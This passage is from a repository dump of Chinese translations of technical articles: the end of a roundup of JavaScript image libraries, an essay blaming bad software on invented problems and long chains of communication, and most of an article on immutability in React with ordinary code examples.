SVG 图像转换为 JavaScript 数据，并直接在 `\\ <canvas>` 元素中使用。\n\n[演示](http://fabricjs.com/)\n[教程](http://fabricjs.com/articles/)\n[Github](https://github.com/fabricjs/fabric.js)\n\n![](https://cdn-images-1.medium.com/max/2000/1*XRnIeG6-8cZe9BGjt5Hf-w.png)\n\n---\n\n## 5. Blurify\n\n这是一个很小的（约 2kb）库，用于模糊图片，并具有从 `css` 模式到 `canvas` 模式的优秀降级支持。该插件在以下三种模式下工作：\n\n* `css`：使用 `filter` 属性（默认）\n* `canvas`：使用 `canvas` 导出 base64 格式\n* `auto`：优先使用 `css` 模式，不支持则自动转换为 `canvas` 模式\n\n你只需要将图像，模糊值和模式传递给函数，即可简单有效地获得模糊图像。\n\n[演示](https://justclear.github.io/blurify/)\n[Github](https://github.com/JustClear/blurify)\n\n![](https://cdn-images-1.medium.com/max/2590/1*9qSBhOXTK3ao_69WZDp0Cw.png)\n\n---\n\n## 6. Merge Images\n\n该库让你可以轻松地合成图像，而不会弄乱画布。有时，使用画布可能会有些痛苦，尤其是在你只需要一个画布上下文来执行相对简单的操作时（例如合并图像）。`merge-images` 将所有重复性任务抽象为一个简单的函数。\n\n图像可以彼此重叠和调换位置。该函数返回一个 `Promise`，并 `resolve` 一个 base64 数据类型的 URI。同时支持浏览器和 Node.js。\n\n[Github](https://github.com/lukechilds/merge-images)\n\n![](https://cdn-images-1.medium.com/max/2000/1*xJZYntWFYwkMJ-ljBuB47g.png)\n\n---\n\n## 7. Cropper.js\n\n该插件是一个简单的 JavaScript 图像裁剪器，允许在可交互的环境中裁剪、旋转和缩放图像。它还允许设置纵横比。\n\n[演示](https://fengyuanchen.github.io/cropperjs/)\n[Github](https://github.com/fengyuanchen/cropperjs)\n\n![](https://cdn-images-1.medium.com/max/2000/1*zrOLnVUpw-97XRCZ2mFuaw.png)\n\n---\n\n## 8. CamanJS\n\n这是 JavaScript 的画布操作库。其具有简单易用的接口与先进高效的图像/画布编辑技术。通过新滤镜和插件很容易进行扩展，并且它具有一系列的图像编辑功能，而这种功能还在不断增加。它完全无依赖，并可以同时在 Node.js 和浏览器中使用。\n\n你可以选择一组预设滤镜或手动更改属性（例如亮度，对比度，饱和度）以获得所需的结果。\n\n[演示](http://camanjs.com/examples/)\n[官网](http://camanjs.com/)\n[Github](https://github.com/meltingice/CamanJS/)\n\n![](https://cdn-images-1.medium.com/max/2000/1*ORO_SftbsqsTRQudlvfn2A.png)\n\n---\n\n## 9. MarvinJ\n\nMarvinJ 是派生自 Marvin 框架的纯 JavaScript 图像处理框架。MarvinJ 对于许多不同的图像处理应用程序而言，既简单又强大。\n\nMarvin 除了提供许多算法来控制颜色和外观，还具有自动检测特征的能力。其图像处理能力是基于图像的基础特征（例如边缘、拐角与形状）来实现的。此插件通过检测与分析对象的角点，从而定位场景中主要对象。基于这些功能，让它可以自动裁剪出对象。\n\n[官网](https://www.marvinj.org/en/index.html)\n[Github](https://github.com/gabrielarchanjo/marvinj)\n\n![](https://cdn-images-1.medium.com/max/2462/1*oC9aNZECOL97bXRZSdjp_Q.png)\n\n---\n\n## 10. Grade\n\n此 JavaScript 库从图像中的前 2 种主要颜色生成互补的渐变。这样，你就可以从图像中提取出渐变效果，来填充网站上的 `div`。这是一个易用的插件，可帮助你保持网站视觉上的优美。\n\n该插件是我个人从此列表中挑选出来的，我经历了许多困难才通过此插件获得类似的输出。\n\n**HTML 文件**\n\n```html\n<!--渐变将应用于这些外部 div，作为背景图像-->\n<div class=\"gradient-wrap\">\n    <img src=\"./samples/finding-dory.jpg\" alt=\"\" />\n</div>\n<div class=\"gradient-wrap\">\n    <img src=\"./samples/good-dinosaur.jpg\" alt=\"\" />\n</div>\n```\n\n**JavaScript 脚本**\n\n```html\n<script src=\"path/to/grade.js\"></script>\n<script type=\"text/javascript\">\n    window.addEventListener('load', function(){\n        /*\n            你所有图像容器的节点列表（或单个节点）。\n            该库将在每个容器中找到一个 <img /> 来创建渐变。\n         */\n        Grade(document.querySelectorAll('.gradient-wrap'))\n    })\n</script>\n```\n\n[演示](https://benhowdle89.github.io/grade/)\n[Github](https://github.com/benhowdle89/grade)\n\n![](https://cdn-images-1.medium.com/max/2326/1*-SqADlYfholv_yjT9YY75Q.png)\n\n---\n\n希望你喜欢本文。如果你觉得有什么需要补充，请随时评论。\n\n编码愉快！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/imaginary-problems.md",
    "content": "> * 原文地址：[Imaginary problems, the root of bad software](https://medium.com/@george3d6/imaginary-problems-d4f2921bd1b8)\n> * 原文作者：[George](https://medium.com/@george3d6?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/imaginary-problems.md](https://github.com/xitu/gold-miner/blob/master/TODO1/imaginary-problems.md)\n> * 译者：[ssshooter](https://github.com/ssshooter)\n\n# 虚构问题，低质量软件的根源\n\n从使用的工具，到团队内部的沟通质量，到开发人员的利益，以及你使用的测试方法，有许多因素可以成为低质量软件的催化剂。\n\n我认为其中最主要的问题是，几乎所有低质量软件的根源：**虚构问题**。\n\n复杂的软件并非设计之初就过于繁杂或功能失调。只是因为它在制作过程中添油加醋，最终结果有别于初心。\n\n### 播客应用\n\n假设您是播客主持，想拥有自己的网站，可以在其中销售促销产品，可以不经第三方接广告，最重要的是，向您的观众提供播客，视频和博客文章。\n\n你这个小小的网页应用可能有如下要求：\n\n*   北美地区可以快速加载内容，播客直播与下载。\n*   99.99% 的用户在前 15 分钟内不会遇到应用崩溃，当然，最好永远不会发生。\n*   与 Google AdWords 较好地集成，有时间的话再接入其他广告商。\n*   动态链接到我的 Zazzle 上的最新产品，可以的话，根据用户观看的剧集向用户提供推荐。\n*   因为我在 Facebook 做直播，所以要集成 Facebook 直播模块。如果可以自己做出一套直播系统，不依赖于 Facebook，那就更好了。\n\n你把这些要求交给一个承包商，聊了一下。两个月后，他们向你展示 MVP，你气炸了，你觉得浪费了 15000 美元在一件垃圾上，你只想把你的钱要回来。\n\n看着这东西生气是正常的，因为第一次打开它时屏幕像死机一样。你问他如何修改网站上的广告，他指了指那个又丑又让人看不懂的自定义 UI。Zazzle 的商品链接有一半是破损或是缺少图像的，Facebook 直播流还有延迟！\n\n但开发团队对你的愤怒感到困惑，从他们的角度来看，他们已经为你赴汤蹈火了。\n\n他们全心全意编写了这个应用，它有一些惊人的特性：\n\n*   最先进的推荐系统。\n*   转播你的视频或直播的算法（用于前面提到的推荐系统）。\n*   世界各地可在 200ms 内加载你的首页。\n*   几乎从头开始构建流媒体协议和客户端，你随时可以从 Facebook 直播切换过来。\n*   可让你轻松集成 20 多个广告平台的服务。\n\n问题来了，你需要的仅仅是核心功能，如果有余力实现，才加入其他特性。然而，开发团队收到的需求可能截然不同了。开发团队听到了一些激动人心的挑战……还有一些无聊的基本功能，他们不怎么在意。\n\n最惨的是你没有直接与开发者沟通，而是像在玩传话游戏一样，跟一个销售人员谈过，销售人员与中层管理人员会面，然后编写了套业务规范并将它们交给了 PM，PM 编写了一些技术规范并将它们交给了团队负责人/架构师，负责人开始与他的团队设计产品。每经过一层交接，需求都可能被扭曲。\n\n### 这是一种应对机制\n\n想象问题通常比实际问题更好玩。天才喜欢玩竞技游戏，构建和解决数学问题，甚至编写试图回答有关人类状况这种抽象问题的书籍，所有这些都是免费的。不过，一般程序员可能会向您收取相当数量的费用，为你构建一个相对简单的 Android 应用。这不是因为平庸的程序员比天才更难找到，只是因为前者做的事情都很有趣，后者可能会比较无聊。\n\n大多数程序员希望获得报酬并同时获得乐趣。但是，对大多数情况下，这相当困难。当然，对于我们大多数人来说，“乐趣”的定义是完全不同的，但对于许多工程师来说，“乐趣”可以归结为，可解决性范围内，有趣并具有挑战性的问题。\n\n你给一个有点头脑的人一堆不能自动化完成的无聊任务，他们迟早会被逼疯。不过经历了数十亿年的进化，人类大脑在保持理智方面非常有才能。就像童年困难或虐待的受害者可以在童话书中得到解脱，企业编程或自由网络开发的受害者可以在解决虚构问题中得到解脱。\n\n![](https://cdn-images-1.medium.com/max/1000/1*8jPa3TYWKxx2PU5A87_4Xg.png)\n\n软件工程师为自己创造虚构问题的数量，与他们的想象力和他们应该解决的实际问题的难度有关。\n\n我们应该意识到，这个问题并不是开发人员所独有的。管理，销售，HR，顾问，法务甚至会计都有自己独有的方式来创造虚构问题。当他们出席的会议内容很少涉及到自己的时候，他们主动让自己更多地参与决策，过分强调与他们角色有关的问题（例如法务：我们的狗狗日托 App 必须从上线第 1 天 101% 符合 GDPR，我们不能成为法律先例）。尽管没有必要，他们还是雇用了一整个团队处理这个问题，这么做显得他们在这个项目中很重要，有做实事。\n\n人是活的，问题是死的，所以聪明人总能找到**一种应对方式**。\n\n### 传话驱动式设计\n\n虚构问题不仅仅因为开发人员太无聊，也因为沟通链太长。\n\n我偶尔会接一些外包。以前，外包客户是不能自己挑的，这就意味着我甚至可能会在工作中遇到 DID（人格分裂）和 ADHD（多动症）病例。我曾收发了 100 多封邮件，仅仅是讨论 MVP 里微不足道的细节；曾遇到有人在一周内把项目中的每一个需求都改了个遍的情况；曾有客户问过诸如“这可以发行虚拟货币吗？”或“我们可以在这里加人工智能吗？”等问题。\n\n当然，大多数客户还是理智的，但他们往往因为缺乏相关知识，无法清晰表达他们的需求。但这没问题，因为这是我作为“计算机专业人员”工作的一部分，帮助人们根据他们的使用场景，判断他们的软件需要或不需要什么。但是当你和客户之间相隔数层，这件事便会变得十分困难。\n\n大多数公司喜欢雇佣销售人员安利潜在客户，协商价格并概述这个价格可以得到什么功能。还有另一批[善于交际的人](https://www.youtube.com/watch?v=hNuu9CpdjIo)与客户讨论更多深度要求和细节，其实他们也算是销售人员，只是职位名称不同。接着是内部领导层的意见，多级管理层以及技术团队内部的层级结构。\n\n需求经历这么多人，即使这些人的意见是好的，事情也会发生变化。有些会因其无意义而被改变，这些定义是愚蠢的，所以需要重新定义。销售人员可能会说“只要多付 39999，我们就可以在区块链上实现这个功能”……然后后面的人要思考“在区块链实现这个功能”是什么鬼意思。\n\n所以通常需求变化的原因有两点，在多级传递中有人误解了某些事情，或者有人使用上述应对机制来使他或团队的工作更有趣和令人印象深刻。\n\n因此，最原始的需求，最迫切需要解决的问题，在各级传达中丢失。并被虚构问题和一片空白所取代，接着，大家都用他们自己虚构问题填补这些空白，因为现有的问题真的很让人乏味，他们一个**应对方式**便是填补这些空白。\n\n### 过度复杂和自然选择\n\n通常情况下，存在虚构问题更深层的原因是，它们有助于团队或公司的壮大，虚构问题成为维持公司不可或缺的一部分。\n\n> People who are bred, selected and compensated to find complicated solutions do not have an incentive to implement simplified ones. — Taleb\n\n你听说过仅靠三位工程师就能轻松地搭建网上银行系统的情况吗？他们使用功能设计理论和内存安全语言，从头开发了一些完美无瑕的银行软件，然后开始将大型银行迁移到他们惊人的基础设施。\n\n可能没听过，因为根本不存在。甚至，还有成千上万的团队[成千上万的开发人员，连“回滚”这么简单的概念都不清楚](https://www.theguardian.com/business/2018/apr/28/warning-signs-for-tsbs-it-meltdown-were-clear-a-year-ago-insider)，而恰恰是他们，在日复一日地编写银行软件。\n\n数字的存储和传输的技术要求并不高。建立整个互联网的索引，在 2 秒内提供问题搜索结果才是一个难题，[只有少数聪明人去想方设法解决这个问题](https://en.wikipedia.org/wiki/History_of_Google)。\n\n问题在于银行生态系统非常善于保持一种无人监管的状态。这台运行良好的机器保留了自己的敛财机制。它的领导者是掠夺于社会的腐败者，但组织的领导者只是其成员的一个象征。\n\n我的意思不是在银行工作的人都是坏人。相反，他们通常是很友善，致力于为家人提高生活质量。但他们要的不是修复银行软件，而是保持就业。在现在的经济环境中，丢了工作可不是开玩笑的。在银行业中，话多，主动可以让你更有存在感。\n\n所以银行业这风气，不是因为行之有效，而是已经产生了惯性。这种惯性以处理虚构问题的形式出现，以避免解决实际问题。如果点明了的真正的问题，给其他人的工作带来威胁，可能会导致你被解雇，甚至像高盛这样特别令人讨厌的“机构”，[给一些联邦调查局官员寄了封信，然后毁掉你一生。](https://en.wikipedia.org/wiki/Sergey_Aleynikov)\n\n> **It is difficult to get a man to understand something, when his salary depends upon his not understanding it!** — Upton Sinclair\n\n企业最高管理层（C-suite）不会在意他们的高层管理人员（upper management）将90％的时间花在“客户会议”上，这些在热带岛屿举办的“会议”还花费了百万美元的“其他费用”。因为高层管理人员对他们本身的腐败视而不见。\n\n高层管理人员不会在意中层管理人员（middle managers）买下几个古怪的办公室，雇佣三名秘书和十几名实习生。因为有了中层管理人员，他们能活在华尔街之狼的幻想中。\n\n中层管理人员不会在意直线经理（line managers）将时间花在怎么修改“改进我们的敏捷方法”的 PPT，而非降低成本。因为直线经理满足了他们对独裁的幻想。\n\n直线经理不会在意技术团队负责人和架构师满口都是“下一代系统间的接口使用 JRPC 和 使用 Hibernate 和 Spring 的微服务”，而不是优化那成吨的 Mysql 查询要查老半天。因为团队负责人假装不知道他们的上司甚至连 Excel 都用不好，还几周到办公室一次。\n\n团队负责人不会在意开发人员使用新的 JS 框架，一年改 10 次 UI，而不是检查以下数据库查询为什么这么慢。因为开发人员假装不知道他们的领队根本没写代码，最多也就画个 DOT 图。\n\n这是一个解决虚构问题的恶性循环，从 CEO 假装不知道多赚三千万也不能解决自己的家庭问题，到 UX 实习生假装不知道重新设计一个“提交按钮”，他们的密码还是以明文传输。\n\n但是每个人都需要不断解决虚构问题，因为一旦他们停下来关注真正的问题，他们可能会意识到整个系统的崩塌。他们可能会发现 Debra 已经坐在那个角落，盯着内部机房的监控图表 10 年，尽管该公司 5 年前已经迁移到 AWS。他们可能会意识到他们 99% 的工作就是延续别人的工作……这个事实对绝大部分人都难以接受，所以我才说，他们一定会找到了一种**应对方式**。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/immutability-in-react-theres-nothing-wrong-with-mutating-objects.md",
    "content": "> * 原文地址：[Immutability in React: There’s nothing wrong with mutating objects](https://blog.logrocket.com/immutability-in-react-ebe55253a1cc)\n> * 原文作者：[Esteban Herrera](https://blog.logrocket.com/@eh3rrera?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/immutability-in-react-theres-nothing-wrong-with-mutating-objects.md](https://github.com/xitu/gold-miner/blob/master/TODO1/immutability-in-react-theres-nothing-wrong-with-mutating-objects.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW) [goldEli](https://github.com/goldEli)\n\n# React 中的 Immutability：可变对象并没有什么问题\n\n![](https://cdn-images-1.medium.com/max/800/1*TPF5q9zVHp944Ub-xtU7MQ.jpeg)\n\n[图源](https://www.geeknative.com/39314/mutate-the-t-shirt/)\n\n当开始使用 React 时，你要学习的第一件事就是不应该改变（修改）一个 数组：\n\n```\n// bad, push 操作会修改原数组\nitems.push(newItem);\n\n// good, concat 操作不会修改原数组\nconst newItems = items.concat([newItem]);\n```\n\n但是\n\n你知道为什么要这么做吗？\n\n可变对象有什么不对吗？\n\n![](https://cdn-images-1.medium.com/max/800/0*88XOllaZvI-HBP8o.)\n\n没什么不对的，真的。可变对象没有任何问题。\n\n当然，在涉及并发情况时会有问题。但这是最简单的开发方法，和编程中许多问题一样，这是一种折衷。\n\n函数式编程和 immutability 等概念很流行，都是很酷的主题。但就 React 而言，immutability 会给你一些实际的好处。不仅仅是因为流行。而是有实用价值。\n\n### 什么是 immutability？\n\nImmutability 表示经过一些处理后值或状态保持不变的变量。\n\n概念很简单，但深究起来并不简单。\n\n你可以在 JavaScript 语言本身中找到 immutable 类型。`String` 对象的**值类型**就是一个很好的例子。\n\n如果你声明一个字符串变量，如下：\n\n```\nvar str = 'abc';\n```\n\n你无法直接修改字符串中的字符。\n\n在 JavaScript 中，字符串类型的值不是数组，所以你不能像下面这样做：\n\n```\nstr[2] = 'd';\n```\n\n可以试试这样：\n\n```\nstr = 'abd';\n```\n\n将另一个字符串赋值给 `str`。\n\n你甚至可以将 `str` 重新声明为一个常量：\n\n```\nconst str = 'abc'\n```\n\n结果，重新声明会产生一个错误（但是这个错误和 immutability 无关）。\n\n如果你想修改字符串的值，可以使用字符串方法，例如：[replace](https://www.w3schools.com/jsref/jsref_replace.asp)、[toUpperCase](https://www.w3schools.com/jsref/jsref_touppercase.asp) 或 [trim](https://www.w3schools.com/jsref/jsref_trim_string.asp)。\n\n所有这些方法都会返回一个新的字符串，而不会改变原字符串的值。\n\n### 值类型\n\n可能你没注意到，之前我加粗强调过**值类型**。\n\n字符串的值是 immutable（不可变的）。字符串**对象**就不是了。\n\n如果一个对象是 immutable 的，你不能改变他的状态（及他的属性值）。也意味着不能给他添加新的属性。\n\n试试下面的代码， [你可以在 JSFiddle 中查看](https://jsfiddle.net/eh3rrera/a6uh7tsv/?utm_source=website&utm_medium=embed&utm_campaign=a6uh7tsv)\n\n```js\nconst str = \"abc\";\nstr.myNewProperty = \"some value\";\n\nalert(str.myNewProperty);\n```\n\n如果你运行他，会弹出一个 `undefined`，\n\n新的属性并没有添加上。\n\n但再试试下面这个：[你可以在 JSFiddle 中查看](https://jsfiddle.net/eh3rrera/e46Lsrp7/?utm_source=website&utm_medium=embed&utm_campaign=e46Lsrp7)\n\n```js\nconst str = new String(\"abc\");\nstr.myNewProperty = \"some value\";\n\nalert(str.myNewProperty);\n\nstr.myNewProperty = \"a new value\";\n\nalert(str.myNewProperty);\n```\n\n![](https://cdn-images-1.medium.com/max/1600/0*f3DODCqLTseJ5h3L.)\n\nString 对象不是 immutable 的。\n\n最后一个示例通过 `String()` 构造函数创建了一个字符串对象，他的值是 immutable 的。但你可以给这个对象添加新的属性，因为这是一对象并且没有被 [冻结](https://stackoverflow.com/questions/33124058/object-freeze-vs-const)。\n\n这就要求我们理解另一个重要概念。引用相等和值相等的不同。\n\n### 引用相等 vs 值相等\n\n引用相等，你通过 `===` 和 `!==` (或者 `==` 和 `!=`) 操作符比较对象的引用。如果引用指向同一个对象，那他们就是相等的：\n\n```\nvar str1 = ‘abc’;\nvar str2 = str1;\n\nstr1 === str2 // true\n```\n\n在上面的例子中，两个引用（`str1` 和 `str2`）都指向同一个对象（`'abc'`），所以他们是相等的。\n\n![](https://cdn-images-1.medium.com/max/800/0*ipAtUvsW9QPr3EHO.)\n\n如果两个引用都指向一个 immutable 的值，他们也是相等的，如下：\n\n```\nvar str1 = ‘abc’;\nvar str2 = ‘abc’;\n\nstr1 === str2 // true\n\nvar n1 = 1;\nvar n2 = 1;\n\nn1 === n2 // also true\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*jE_ls1ixbCHkVH5J.)\n\n但如果指向的是对象，那就不再相等了：\n\n```\nvar str1 =  new String(‘abc’);\nvar str2 = new String(‘abc’);\n\nstr1 === str2 // false\n\nvar arr1 = [];\nvar arr2 = [];\n\narr1 === arr2 // false\n```\n\n上面的两种情况，都会创建两个不同的对象，所以他们的引用不相等：\n\n![](https://cdn-images-1.medium.com/max/800/0*QI4r9ERIF1OPVADk.)\n\n如果你想检查两个对象的值是否相等，你需要比较他们的值属性。\n\n在 JavaScript 中，没有直接比较数组和对象值的方法。\n\n如果你要比较字符串对象，可以使用返回新字符串的 `valueOf` 或 `trim` 方法：\n\n```\nvar str1 =  new String(‘abc’);\nvar str2 = new String(‘abc’);\n\nstr1.valueOf() === str2.valueOf() // true\nstr1.trim() === str2.trim() // true\n```\n\n但对于其他类型的对象，你只能实现自己的比较方法或者使用第三方工具，可以参考 [这篇文章](http://adripofjavascript.com/blog/drips/object-equality-in-javascript.html)。\n\n但这和 immutability 和 React 有什么关系呢？\n\n如果两个对象是不可变的，那么比较他们是否相等比较容易。React 就是利用了这个概念来进行性能优化的。\n\n我们来具体谈谈吧。\n\n### React 中的性能优化\n\nReact 内部会维护一份 UI 表述，就是 [虚拟 DOM](http://reactkungfu.com/2015/10/the-difference-between-virtual-dom-and-dom/)。\n\n如果一个组件的属性和状态改变了，他对应的虚拟 DOM 数据也会更新这些变化。因为不用修改真实页面，操作虚拟 DOM 更加方便快捷。\n\n然后，React 会对现在和更新前版本的虚拟 DOM 进行比较，来找出哪些改变了。这就是 [一致性比较](https://reactjs.org/docs/reconciliation.html) 的过程。\n\n这样，就只有有变化的元素会在真实 DOM 中更新。\n\n有时，一些 DOM 元素自身没变化，但会被其他元素影响，造成重新渲染。\n\n这种情况下，你可以通过 [shouldComponentUpdate](https://reactjs.org/docs/react-component.html#shouldcomponentupdate) 方法来判断属性和方法是不是真的改变了，是否返回 true 来更新这个组件：\n\n```\nclass MyComponent extends Component {\n\n  // ...\n\n  shouldComponentUpdate(nextProps, nextState) {\n    if (this.props.myProp !== nextProps.color) {\n      return true;\n    }\n    return false;\n  }\n\n  // ...\n\n}\n```\n\n如果组件的属性和状态是 immutable 的对象或值，你可以通过相等比较判断他们是否改变了。\n\n从这个角度看，immutability 降低了复杂度。\n\n因为，有时候很难知道什么改变了。\n\n考虑下面的深嵌套：\n\n```\nmyPackage.sender.address.country.id = 1;\n```\n\n如何跟踪是哪个对象改变了呢？\n\n再考虑下数组。\n\n两个长度一致的数组，比较他们是否相等的唯一方式就是比较每个元素是否都相等。对于大型数组，这样的操作消耗很大。\n\n最简单的解决方法就是使用 immutable 对象。\n\n如果需要更新一个对象，就用新的值创建一个新的对象，因为原对象是 immutable 的。\n\n你也可以通过引用比较来确定他有没有改变。\n\n但对有些人来说，这个概念可能与性能和代码简洁性方面的理念不一致。\n\n那我们来回顾下创建新对象并保证 immutability 的观点。\n\n### 实现 immutability\n\n在实际应用中，state 和 property 可能是对象或数组。\n\nJavaScript 提供了一些创建这些数据新版本的方法。\n\n对于对象，不是手动创建具有新属性的对象（如下）：\n\n```\nconst modifyShirt = (shirt, newColor, newSize) => {\n  return {\n    id: shirt.id,\n    desc: shirt.desc,\n    color: newColor,\n    size: newSize\n  };\n}\n```\n\n而是可以使用 [Object.assign](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) 这个方法避免定义未修改的属性（如下）：\n\n```\nconst modifyShirt = (shirt, newColor, newSize) => {\n  return Object.assign( {}, shirt, {\n    color: newColor,\n    size: newSize\n  });\n}\n```\n\n`Object.assign` 方法用于将（从第二个参数开始）所有源对象的属性复制到第一个参数声明的目标对象。\n\n或者你也可以使用 [扩展运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax) 达到目的（不同的是 `Object.assign()` 使用 setter 方法分配新的值，而扩展运算符不是，[参考](http://2ality.com/2016/10/rest-spread-properties.html#spread-defines-properties-objectassign-sets-them)）：\n\n```\nconst modifyShirt = (shirt, newColor, newSize) => {\n  return {\n    ...shirt,\n    color: newColor,\n    size: newSize\n  };\n}\n```\n\n对于数组，你也可以使用扩展运算符创建具有新元素的数组：\n\n```\nconst addValue = (arr) => {\n  return [...arr, 1];\n};\n```\n\n或者使用像 `concat` 或 `slice` 这样的方法返回一个新的数组，而不会修改原数组：\n\n```\nconst addValue = (arr) => {\n  return arr.concat([1]);\n};\n\nconst removeValue = (arr, index) => {\n  return arr.slice(0, index)\n    .concat(\n        arr.slice(index+1)\n    );\n};\n```\n\n在这个 [代码片段](https://gist.github.com/JoeNoPhoto/329f002ef4f92f1fcc21280dc2f4aa71) 中，你可以看到在进行一些常见操作时，如何用这些方法结合扩展运算符避免修改原数组。\n\n但是，使用这些方法会有两个主要缺点：\n\n* 他们通过将属性/元素从一个对象/数组复制到另一个来工作。对于大型对象/数组来说，这样的操作比较慢。\n* 对象和数组默认是可变的，没什么来确保 immutability。你必须时刻记住要使用这些方法。\n\n**由于上述原因，使用外部库来实现 immutability 是更好的选择。**\n\nReact 团队推荐使用 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [immutability-helper](https://github.com/kolodny/immutability-helper)，但 [这里](https://github.com/markerikson/redux-ecosystem-links/blob/master/immutable-data.md) 有很多同样功能的库。主要有下面三种类型：\n\n* 配合持久的数据结构工作的库。\n* 通过冻结对象工作的库。\n* 提供辅助方法执行不可变操作的库。\n\n大部分库都是配合 [持久的数据结构](https://en.wikipedia.org/wiki/Persistent_data_structure) 来工作。\n\n### 持久的数据结构\n\n当有些数据需要修改时，持久的数据结构会创建一个新的版本（这实现了数据的 immutable），同时提供所有版本的访问权限。\n\n如果数据部分持久化，所有版本的数据都可以访问，但只有最新版可以修改。如果数据完全持久化，那每个版本都可以访问和修改。\n\n基于树和共享的理念，新版本的创建非常高效。\n\n数据结构表层是一个 list 或 map，但在底层是使用一种叫做 [trie](https://en.wikipedia.org/wiki/Trie) 的树来实现（具体来说就是 [位图向量 tire](https://stackoverflow.com/a/29121204/3593852)），其中只有叶节点存储值，二进制表示的属性名是内部节点。\n\n比如，对于下面的数组：\n\n```\n[1, 2, 3, 4, 5]\n```\n\n你可以将索引转化为 4 位的二进制数：\n\n```\n0: 0000\n1: 0001\n2: 0010\n3: 0011\n4: 0100\n```\n\n将数组按下面的树形展示：\n\n![](https://cdn-images-1.medium.com/max/800/0*3hlxKXFBvhgY-Pzk.)\n\n每个层级都有两个字节形成到达值的路径。\n\n现在如果我们想将 `1` 修改为 `6`：\n\n![](https://cdn-images-1.medium.com/max/800/0*Yq2TMZjNipslzaQe.)\n\n不是直接修改树中的那个值，而是将从根节点到你要修改的那个值整体复制一份：\n\n![](https://cdn-images-1.medium.com/max/800/0*L2vypVatx0VywZZS.)\n\n会在新复制的树中更新那个值：\n\n![](https://cdn-images-1.medium.com/max/800/0*4TVKbnY7a3av-4Fq.)\n\n原树中的其他节点可以继续使用：\n\n![](https://cdn-images-1.medium.com/max/800/0*aAJm2raVQKpBjzqM.)\n\n也可以说，未修改的节点会被新旧两个版本**共享**。\n\n当然，这些 4 位的树形并不普适于这些持久的数据结构。这只是**结构共享**的基本理念。\n\n我不会介绍更多细节了，想了解更多关于持久化数据和结构共享的知识，可以阅读 [这篇文章](https://medium.com/@dtinth/immutable-js-persistent-data-structures-and-structural-sharing-6d163fbd73d2) 和 [这个演讲](https://www.youtube.com/watch?v=Wo0qiGPSV-s)。\n\n### 缺点\n\nImmutability 也不是没有问题。\n\n正如我前面提到的，处理对象和数组时，你要么必须记住使用保证 immutability 的方法，要么就使用第三方库。\n\n但这些库大多都使用自己的数据类型。\n\n尽管这些库提供了兼容的 API 和将这些类型转为 JavaScript 类型的方法，但在设计你自己的应用时，也要小心处理：\n\n* 避免高耦合\n* 避免使用像 [`toJs()`](https://twitter.com/leeb/status/746733697093668864) 这样有性能弊病的方法\n\n如果库没有实现新的数据结构（比如使用冻结对象工作的库），就不能体现结构共享的好处。很可能更新数据时要复制对象，有些情况性能会受到影响。\n\n此外，你必须考虑这些库的学习曲线。\n\n当需要选择 immutability 方案时，要仔细考虑。\n\n也可以阅读下这篇文章 [immutability 的反对观点](http://desalasworks.com/article/immutability-in-javascript-a-contrarian-view/)。\n\n### 结论\n\nImmutability 是 React 开发者需要理解的一个概念。\n\n一个 immutable 的值或对象不能被改变，所以每次更新数据都会创建新的值，将旧版本的数据隔离。\n\n例如，如果你应用的 state 是 immutable 的，就可以将所有 state 对象保存在单个 store 中，这样很容易实现撤销/重做功能。\n\n听起来是不是很熟悉？是的。\n\n像 [Git](https://git-scm.com/) 这种版本管理系统以类似方式工作。\n\n[Redux](https://redux.js.org/) 也是基于这个 [原则](https://redux.js.org/introduction/three-principles)。\n\n但是，人们更关注 Redux 的 [纯函数](https://medium.com/@jamesjefferyuk/javascript-what-are-pure-functions-4d4d5392d49c) 和 应用状态的**快照**。StackOverflow 上的 [这个回答](https://stackoverflow.com/a/34962065/3593852) 很好地解释了 Redux 和 immutability 的关系。\n\nImmutability 还有其他像避免意外的副作用和 